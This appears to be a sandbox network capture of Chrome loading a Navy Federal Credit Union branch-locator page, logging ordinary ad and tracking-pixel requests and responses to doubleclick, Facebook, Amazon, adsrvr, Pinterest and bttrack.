2024-05-24 22:46:18 UTC	1250	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=nfcu_000;ord=6875800667488;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=1576649674;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: trigger, event-source;navigation-source Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:19 UTC	4594	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: {"aggregatable_deduplication_keys":[{"deduplication_key":"14254804866385504212"}],"aggregatable_trigger_data":[{"filters":[{"14":["13886426"]}],"key_piece":"0x3207ccec6325b791","source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]},{"key_piece":"0xefcb4e53dca91529","not_filters":{"14":["13886426"]},"source_keys":["12","13","14","15","16","17","18","19","20","21","628513680","628513681","628513682","628513683","628706180","628706181","628706182","628706183","628728388","628728389","628728390","628728391","628774052","628774053","628774054","628774055","628790608","628790609","628790610","628790611","628853860","628853861","628853862","628853863"]}],"aggregatable_values":{"12": [TRUNCATED] Content-Type: image/png Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: ar_debug=1; expires=Sun, 23-Jun-2024 22:46:18 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.6	50144	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	923	OUT	GET /ddm/activity/src=9749892;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:19 UTC	878	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Location: https://ad.doubleclick.net/ddm/activity/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.6	50145	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	1055	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&rl=&if=false&ts=1716590775920&sw=1280&sh=1024&ud[external_id]=f0aa0b0ef2b818c452fbde7009d5d8692892d6ec679ef95b21188aec41c50366&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590775564&coo=false&dpo=&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source=navigation-source, trigger Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:19 UTC	1213	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png attribution-reporting-register-trigger: {"event_trigger_data":[{"trigger_data":"0"}],"aggregatable_trigger_data":[{"key_piece":"0xb5e83eb98ec6ef14","source_keys":["1","2"]},{"key_piece":"0x0ceacad5477edfa0","source_keys":["1","2"]}],"aggregatable_values":{"1":1}} reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-05-24 22:46:19 UTC	1144	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 74 79 6c 65 2d 73 72 63 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 64 61 74 61 3a 20 2a 2e 66 61 63 65 62 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: *.faceb
2024-05-24 22:46:19 UTC	1785	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo
2024-05-24 22:46:19 UTC	78	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 43PNGIHDRIDATxc-IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.6	50156	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	926	OUT	GET /iu3?d=generic&ex-fargs=%3Fid%3D6cb2375c-3341-8cb2-b12d-8b0616d5966e%26type%3D55%26m%3D1&ex-fch=416613&ex-src=https://www.navyfederal.org/&ex-hargs=v%3D1.0%3Bc%3D7933585099447%3Bp%3D6CB2375C-3341-8CB2-B12D-8B0616D5966E&cb=755192992926268200 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:18 UTC	938	IN	HTTP/1.1 302 Found Server: Server Date: Fri, 24 May 2024 22:46:18 GMT Content-Length: 0 Connection: close x-amz-rid: XRS6A64HD8AFQNCR7P3Y Set-Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw\|t; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:46:18 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://s.amazon-adsystem.com/iu3?d=generic&ex-fargs=%3Fid%3D6cb2375c-3341-8cb2-b12d-8b0616d5966e%26type%3D55%26m%3D1&ex-fch=416613&ex-src=https://www.navyfederal.org/&ex-hargs=v%3D1.0%3Bc%3D7933585099447%3Bp%3D6CB2375C-3341-8CB2-B12D-8B0616D5966E&cb=755192992926268200&dcc=t Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.6	50157	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:18 UTC	1035	OUT	GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRgBIAEoAjILCMS1iLXBk_48EAU4AVoHYmx1ZWthaWAC
2024-05-24 22:46:19 UTC	693	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:18 GMT Content-Type: text/html Content-Length: 886 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:18 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUYBSgDMgsI9qCM7sGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.; expires=Sat, 24 May 2025 22:46:18 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:19 UTC	886	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.6	50158	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	852	OUT	GET /v3/?tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZEc2tUWnRQdjcxZ2g5UzZMWUFFVE1Kb2FWa2ZsZXdhdEY0blBnbG5tZ0tRQnIyOXJndUQ1bndzRWpUd0c2VEtzV3diUHdISEt0OURnQllyZEJXU2Yrd0o1T0FaMHRFeC9vZEtXa0lQQm9qbz0mckIrUExJZUtpTHRIaXl4bUR6djhjUUhTNXVvPQ=="
2024-05-24 22:46:19 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:19 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZhazd0TDFWOHZmVjlKN3FscGVjOFVQcEVJS0cyR3FNY0YrWk5EWmdhQkVJZExSRTc4SGNLODJlU2k3N3NlUnR4MjIySjVkckl3RHVxSDNyRTd6ZDc4REtwNnkwb0FNMk5VMmJQd1QvV0p5TT0mbVVYeXFxSmRYWHdtTDhRR1B0ZDJnNVRqdnVVPQ=="; Expires=Sat, 24 May 2025 22:46:19 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 0 referrer-policy: origin x-pinterest-rid: 1364234460946757 Date: Fri, 24 May 2024 22:46:19 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: b5901f219bb3b9de79ce62fb7d9d7ff8817dc3ff
2024-05-24 22:46:19 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.6	50159	151.101.192.84	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	867	OUT	GET /v3/?event=PageView&tid=2617254381486&noscript=1 HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; _pinterest_ct_ua="TWc9PSZEc2tUWnRQdjcxZ2g5UzZMWUFFVE1Kb2FWa2ZsZXdhdEY0blBnbG5tZ0tRQnIyOXJndUQ1bndzRWpUd0c2VEtzV3diUHdISEt0OURnQllyZEJXU2Yrd0o1T0FaMHRFeC9vZEtXa0lQQm9qbz0mckIrUExJZUtpTHRIaXl4bUR6djhjUUhTNXVvPQ=="
2024-05-24 22:46:19 UTC	914	IN	HTTP/1.1 200 OK Connection: close Content-Length: 35 cache-control: no-cache,no-store,must-revalidate,max-age=0 pragma: no-cache expires: Sat, 01 Jan 2000 00:00:00 GMT content-type: image/gif access-control-allow-origin: * set-cookie: ar_debug=1; Expires=Sat, 24 May 2025 22:46:19 GMT; Path=/; Domain=.pinterest.com; Secure; HTTPOnly; SameSite=None set-cookie: _pinterest_ct_ua="TWc9PSZjeEVJWlZVYXcwRVowVGdiWmNKMFBrcjQ4NU9Iek9zWmxDS0lyYnNzY0FpUFl2UGFEZUdBUVVpRW1MMmxrUk54Q1hBUlROLytKb1JDTEVoYkhja2xqSkI0MXErUzZTZlNLWDYvTHBXTGNVST0mWGdYU0hNZUNVNDVHUURoUndNcW01TVdmbGFFPQ=="; Expires=Sat, 24 May 2025 22:46:19 GMT; Path=/; Domain=ct.pinterest.com; Secure; SameSite=None x-envoy-upstream-service-time: 1 referrer-policy: origin x-pinterest-rid: 1573931771752447 Date: Fri, 24 May 2024 22:46:19 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: 5c8bfc366c53ef4acca5f606987646193351b3ab
2024-05-24 22:46:19 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.6	50160	142.250.186.34	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	1084	OUT	GET /ddm/fls/z/dc_pre=CP-8mvyup4YDFeYkBgAdUEEHCg;src=9749892;type=gener0;cat=branc0;ord=3068759456016;npa=0;auiddc=;ps=1;pcor=1864446130;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:19 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:19 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.6	50164	192.132.33.69	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:19 UTC	664	OUT	GET /engagement/js?goalId=15654&cb=1716590777960 HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:19 UTC	546	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/javascript; charset=utf-8 Expires: -1 Set-Cookie: bt-es-15654=f46e0e56-6062-4c7b-bbc6-b6f1e2e28664; path=/ Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:45:50 GMT; path=/; secure; SameSite=None X-ServerName: Track004-iad Date: Fri, 24 May 2024 22:45:50 GMT Connection: close Content-Length: 10120 Strict-Transport-Security: max-age=31536000;
2024-05-24 22:46:19 UTC	10120	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 69 64 74 65 6c 6c 65 63 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 4a 53 4f 4e 3d 7b 7d 3b 62 69 64 74 65 6c 6c 65 63 74 2e 4a 53 4f 4e 3d 4a 53 4f 4e 3b 66 75 6e 63 74 69 6f 6e 20 66 28 6e 29 7b 72 65 74 75 72 6e 20 6e 3c 31 30 3f 22 30 22 2b 6e 3a 6e 7d 76 61 72 20 74 6f 53 74 72 69 6e 67 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 76 61 72 20 52 45 50 4c 41 43 45 52 53 3d 7b 44 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 6b 65 79 29 7b 76 61 72 20 6d 73 3d 74 68 69 73 2e 76 61 6c 75 65 4f 66 28 29 3b 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 74 68 69 73 2e 76 61 6c 75 65 4f 66 28 29 29 3f 74 68 69 73 2e 67 65 74 55 54 43 46 75 6c 6c 59 65 61 72 28 29 2b 22 2d 22 2b Data Ascii: (function(bidtellect){"use strict";var JSON={};bidtellect.JSON=JSON;function f(n){return n<10?"0"+n:n}var 